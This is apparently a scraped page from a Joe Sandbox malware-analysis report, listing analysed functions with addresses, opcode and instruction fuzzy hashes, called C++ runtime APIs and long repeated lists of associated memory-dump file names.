Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6b134f6d66a3855c9ff40c8a9e4c3671cf8a420f877b84e826b117daa244998
Instruction ID: c940d896a1f2cc7f7c845353da89f8ee0cd0cde7f4aec7281475f3dfc5a7a67e
Opcode Fuzzy Hash: e6b134f6d66a3855c9ff40c8a9e4c3671cf8a420f877b84e826b117daa244998
Instruction Fuzzy Hash: 0B318DB3F112214BF3840868CD593A27643DBD1364F2F82789E586B7C5C9BE6E0A5384

Function 001F8860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 8ab78e238e53983fabae7ad0ef91c0bedeeba6abac4393a9922874a56a7653ca
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 18113D7720018A43E6088A3DC8F45B7E795FBC53617AD437AD3424B758DF32D9469600

Function 04A2042F Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091547256.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b1563a322be6983214fcbf2a0461cf365b0937070bf5041d56e64f06319823d
Instruction ID: 645173c11b097931e7e09d980043fe6ceda4c11f445ff114b00be1c9f3448112
Opcode Fuzzy Hash: 5b1563a322be6983214fcbf2a0461cf365b0937070bf5041d56e64f06319823d
Instruction Fuzzy Hash: 35E068F140C7919FE704C778D7609B67B78EBC2714320C86AD642EB053F2342901D110

Function 001EA302 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: cf539f1dc786cb25d6d01fda490cec2f51df6d61441f9e3d0e008cd22bf662f7
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 3BE04632925668EBCB14DB99894498EB2ACEB49B00BA50096B601D3150C370EE00CBE0

Function 001B2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 001B2F5F
__Mtx_unlock.LIBCPMT ref: 001B2FCC
__Cnd_broadcast.LIBCPMT ref: 001B2FE3
__Mtx_unlock.LIBCPMT ref: 001B30F5
__Mtx_unlock.LIBCPMT ref: 001B319B

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 279254fe5e7e736cb06e57d77e1176893bbe5144ec6af8ded3331ae154fc7213
Instruction ID: 021192b38e827b49f975a682c79a0679bd7879285b02bc38bce322f5e09a3bd7
Opcode Fuzzy Hash: 279254fe5e7e736cb06e57d77e1176893bbe5144ec6af8ded3331ae154fc7213
Instruction Fuzzy Hash: 4DA1D3B0A05215AFDB10EF68C945BAAB7F8FF25314F04812DE829D7241EB31EA14CBD1

Function 001CBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 001CBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 001CBBE4
_xtime_get.LIBCPMT ref: 001CBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 001CBC13

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
